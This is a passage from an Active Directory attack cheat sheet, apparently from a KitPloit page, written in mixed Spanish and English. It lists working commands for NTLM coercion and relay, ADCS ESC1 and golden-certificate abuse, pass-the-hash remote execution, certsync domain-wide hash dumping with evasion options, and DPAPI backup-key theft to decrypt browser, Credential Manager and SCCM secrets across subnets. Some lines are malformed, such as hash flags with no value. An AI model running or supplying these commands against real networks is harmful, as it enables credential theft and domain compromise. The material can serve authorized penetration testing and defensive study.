-p Password123 192.168.1.10 # MS-FSRVP (ShadowCoerce) — no Titanis equivalent python3 shadowcoerce.py -d DOMAIN -u jdoe -p Password123 192.168.1.10 ↑ Volver al Índice * * * ### Patrón Coerce + Relay```bash # Terminal 1 — relay listener (SMB) ntlmrelayx.py -tf targets.txt -smb2support # Terminal 1 — relay to LDAP for RBCD / shadow credentials ntlmrelayx.py -t ldaps://192.168.1.1 --delegate-access --escalate-user jdoe # Terminal 2 — trigger coercion CredCoerce 192.168.1.10 \\share -UserName jdoe -UserDomain DOMAIN -Password Password123 -Techniques Efs.OpenFile root@kitploit:~ [↑ Volver al Índice](#index) --- ## 8. Certificados > **Estado de gopacket:** No hay herramientas ADCS. Usa certipy, Titanis `Cert` o impacket para todas las operaciones de certificados. ### Generación de PFX autofirmado```bash # certipy — Golden Certificate from compromised CA key (requires -ca-pfx) # Note: certipy forge cannot produce a self-signed cert without the CA private key; # for Shadow Credentials use certipy shadow or impacket's pyWhisker instead # certipy — Golden Certificate from compromised CA key certipy forge -upn Administrator@DOMAIN -ca-pfx ca.pfx -out admin.pfx # openssl — generic PKI (not trusted by AD for PKINIT without NTAuth enrollment) openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes \ -subj "/CN=jdoe" openssl pkcs12 -export -out jdoe.pfx -inkey key.pem -in cert.pem -passout pass:Password123 # Titanis — works in interactive sessions (RDP/console); may fail in non-interactive sessions Cert selfcert -Subject CN=jdoe -PfxFileName jdoe.pfx ↑ Volver al índice * * * ### Enumeración de plantillas de certificados ADCS```bash # certipy — includes ESC1–ESC8 vulnerability analysis certipy find -dc-ip 192.168.1.1 -u jdoe@DOMAIN -p Password123 -vulnerable -stdout # certipy — pass-the-hash certipy find -dc-ip 192.168.1.1 -u jdoe@DOMAIN -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 -vulnerable -stdout # NetExec netexec ldap 192.168.1.1 -u jdoe -p Password123 -M adcs # msldap — raw template list msldap "ldap+ntlm-password://DOMAIN\jdoe:some-email@example.com" # msldap> certify # msldap> certtemplates # Titanis — enumerate certificate templates # Note: Ldap search is broken on Linux (ignores -SearchBase, always queries RootDSE → no results) # Use ldapsearch below for Linux; Ldap search works on Windows # Windows only: # Ldap search 192.168.1.1 -UserName jdoe -UserDomain DOMAIN -Password Password123 \ # -SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=domain,DC=local" \ # "(objectClass=pKICertificateTemplate)" \ # -OutputFields displayName,msPKI-Certificate-Name-Flag,msPKI-Enrollment-Flag,pKIExtendedKeyUsage # Titanis — enumerate Enterprise CAs (Windows only — same Ldap search limitation on Linux) # Ldap search 192.168.1.1 -UserName jdoe -UserDomain DOMAIN -Password Password123 \ # -SearchBase "CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration,DC=domain,DC=local" \ # "(objectClass=pKIEnrollmentService)" \ # -OutputFields displayName,dNSHostName,certificateTemplates # ldapsearch ldapsearch -H ldap://192.168.1.1 -D "CN=jdoe,CN=Users,DC=domain,DC=local" -w Password123 -b "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=domain,DC=local" "(objectClass=pKICertificateTemplate)" displayName msPKI-Certificate-Name-Flag root@kitploit:~ [↑ Volver al Índice](#index) --- ### ADCS ESC1 — Inscribir y Recuperar NT Hash```bash # Step 1 — enumerate vulnerable templates certipy find -dc-ip 192.168.1.1 -u jdoe@DOMAIN -p Password123 -vulnerable -stdout # Step 2a — request certificate with arbitrary UPN (certipy, HTTP/RPC enrollment) certipy req -username jdoe@DOMAIN -password Password123 \ -ca CA-NAME -template VulnerableTemplate \ -upn some-email@example.com \ -target ca.domain.local -out admin # Step 2b — request certificate via SMB (aiosmb asmbcertreq — works when HTTP enrollment is firewalled) asmbcertreq "smb+ntlm-password://DOMAIN\jdoe:some-email@example.com" \ -ca "CA-NAME" -template "VulnerableTemplate" -upn "some-email@example.com" -out admin.pfx # aiosmb — pass-the-hash asmbcertreq "smb+ntlm-nt://DOMAIN\jdoe:some-email@example.com" \ -ca "CA-NAME" -template "VulnerableTemplate" -upn "some-email@example.com" -out admin.pfx # Step 3a — certipy: recover NT hash + TGT certipy auth -pfx admin.pfx -dc-ip 192.168.1.1 -domain DOMAIN.LOCAL # Step 3b — minikerberos: recover NT hash only minikerberos-getNTPKInit \ "kerberos+pfx://DOMAIN\Administrator:@192.168.1.1?pfx=admin.pfx" admin_nt.txt # Step 4 — Titanis PTH with recovered hash (use IP for Wmi exec; FQDNs fail at WMI DCOM activation) Wmi exec 192.168.1.1 -UserName Administrator -UserDomain DOMAIN -NtlmHash "whoami" Smb2Client ls \\dc01.domain.local\C$ -UserName Administrator -UserDomain DOMAIN \ -NtlmHash Reg dumpsam 192.168.1.1 -UserName Administrator -UserDomain DOMAIN -NtlmHash -BackupSemantics ↑ Volver al Índice * * * ## 9\. Cosecha de Credenciales Exóticas Técnicas que producen una cobertura de credenciales equivalente a un volcado NTDS, pero que evitan por completo los mecanismos estándar (DRSUAPI, VSS, acceso a archivos NTDS). Útiles cuando DCSync está bloqueado, VSS está monitoreado, o el acceso a nivel de DA no está disponible, pero existen rutas de confianza ADCS o DPAPI. * * * ### certsync — Golden Cert + UnPAC the Hash > Vuelca los hashes NT de todos los usuarios del dominio sin acceso a DRSUAPI, VSS o archivos NTDS. Requiere derechos de administrador de la CA (o un certificado de CA exportado + clave privada) y PKINIT funcionando. Flujo de trabajo: enumerar usuarios desde LDAP → volcar el certificado/clave de la CA → forjar un certificado por usuario → UnPAC the hash vía PKINIT para cada uno. Produce una salida en formato secretsdump. En la práctica no es más lento que DCSync.```bash # certsync — password auth (auto-discovers CA from LDAP) certsync -u jdoe -p Password123 -d DOMAIN.LOCAL -dc-ip 192.168.1.1 -ns 192.168.1.1 # certsync — pass-the-hash certsync -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 -u Administrator -d DOMAIN.LOCAL -dc-ip 192.168.1.1 -ns 192.168.1.1 # certsync — Kerberos (ccache) export KRB5CCNAME=admin.ccache certsync -k -no-pass -u Administrator -d DOMAIN.LOCAL -dc-ip 192.168.1.1 -ns 192.168.1.1 # certsync — supply existing CA cert + key (skip CA backup step; quieter) certsync -ca-pfx ca.pfx -u jdoe -p Password123 -d DOMAIN.LOCAL -dc-ip 192.168.1.1 -ns 192.168.1.1 # certsync — OPSEC: jitter, randomized per-user certs, custom LDAP filter certsync -u jdoe -p Password123 -d DOMAIN.LOCAL -dc-ip 192.168.1.1 -ns 192.168.1.1 -timeout 2 -jitter 1 -randomize -ldap-filter "(&(objectClass=user)(!(userAccountControl:1.2.840.113556.1.4.803:=2)))" # certsync — output to file certsync -u jdoe -p Password123 -d DOMAIN.LOCAL -dc-ip 192.168.1.1 -ns 192.168.1.1 -outputfile domain_hashes # Feed recovered hashes into Titanis PTH flows (use IP for Wmi exec; FQDNs fail at WMI DCOM activation) Wmi exec 192.168.1.1 -UserName Administrator -UserDomain DOMAIN -NtlmHash "whoami" Smb2Client ls \dc01.domain.local\C$ -UserName Administrator -UserDomain DOMAIN -NtlmHash root@kitploit:~ [↑ Volver al índice](#index) --- ### Clave de copia de seguridad de dominio de DPAPI — Descifrado masivo de credenciales > La clave de copia de seguridad de dominio de DPAPI es un secreto de todo el dominio almacenado en los DC que descifra la clave maestra DPAPI de cada usuario — y, por tanto, todos los blobs protegidos por DPAPI del dominio: contraseñas de Chrome/Edge/Firefox, Administrador de credenciales de Windows, certificados, claves Wi-Fi, cuentas NAA de SCCM, credenciales de tareas programadas y más. Para volcarla se requiere DA, pero una vez obtenida, la clave es válida permanentemente a menos que se rote explícitamente. Ofrece una amplitud de cobertura de credenciales comparable a la de NTDS para los secretos almacenados en blobs DPAPI, y suele ser más rica para el movimiento lateral porque proporciona contraseñas en texto plano en lugar de hashes.```bash # Step 1 — dump the domain backup key (impacket) dpapi.py backupkeys -t DOMAIN/Administrator:some-email@example.com --export # Writes domain_backup.pvk to current directory # Step 1 — impacket pass-the-hash dpapi.py backupkeys -t DOMAIN/some-email@example.com --export \ -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 # Step 1 — gopacket (subcommand syntax: positional target after subcommand) dpapi backupkeys 'DOMAIN/Administrator:some-email@example.com' --export # gopacket — pass-the-hash dpapi backupkeys 'DOMAIN/some-email@example.com' --export \ -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 # Step 1 — dump the domain backup key (NetExec; fetches automatically during --dpapi) netexec smb 192.168.1.1 -u Administrator -p Password123 --dpapi # Step 2a — dploot: decrypt master keys for all domain users using backup key dploot masterkeys -d DOMAIN -u Administrator -p Password123 \ -t 192.168.1.1 --pvk domain_backup.pvk -outputfile masterkeys.txt # Step 2b — dploot: decrypt all credential manager blobs across domain dploot credentials -d DOMAIN -u Administrator -p Password123 \ -t 192.168.1.1 --pvk domain_backup.pvk # Step 2c — dploot: decrypt browser-stored passwords (Chrome, Edge, Firefox) dploot browser -d DOMAIN -u Administrator -p Password123 \ -t 192.168.1.1 --pvk domain_backup.pvk # Step 2d — dploot: full triage (masterkeys + credentials + certificates + vaults) dploot triage -d DOMAIN -u Administrator -p Password123 \ -t 192.168.1.1 --pvk domain_backup.pvk # Step 2e — dploot: SCCM NAA credentials and collection variables dploot sccm -d DOMAIN -u Administrator -p Password123 \ -t 192.168.1.1 --pvk domain_backup.pvk # Step 2f — dploot: machine (SYSTEM scope) DPAPI secrets dploot machinetriage -d DOMAIN -u Administrator -p Password123 \ -t 192.168.1.1 # dploot — pass-the-hash dploot triage -d DOMAIN -u Administrator \ -H A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 -t 192.168.1.1 --pvk domain_backup.pvk # NetExec — DPAPI dump across subnet (fetches backup key automatically) netexec smb 192.168.1.0/24 -u Administrator -p Password123 --dpapi netexec smb 192.168.1.0/24 -u Administrator -p Password123 --dpapi cookies netexec smb 192.168.1.0/24 -u Administrator -p Password123 --dpapi nosystem # DonPAPI — comprehensive remote DPAPI harvest across subnet in one pass # (auto-fetches backup key, decrypts masterkeys, dumps all DPAPI-protected secrets) DonPAPI collect -d DOMAIN -u Administrator -p Password123 \ -t 192.168.1.0/24 --fetch-pvk # DonPAPI — supply existing backup key (quieter; avoids re-dumping from DC) DonPAPI collect -d DOMAIN -u Administrator -p Password123 \ -t 192.168.1.0/24 --pvkfile domain_backup.pvk # DonPAPI — targeted collectors only DonPAPI collect -d DOMAIN -u Administrator -p Password123 \ -t 192.168.1.0/24 --collectors SCCM,Certificates,Wifi,CredMan ↑ Volver al Índice * * *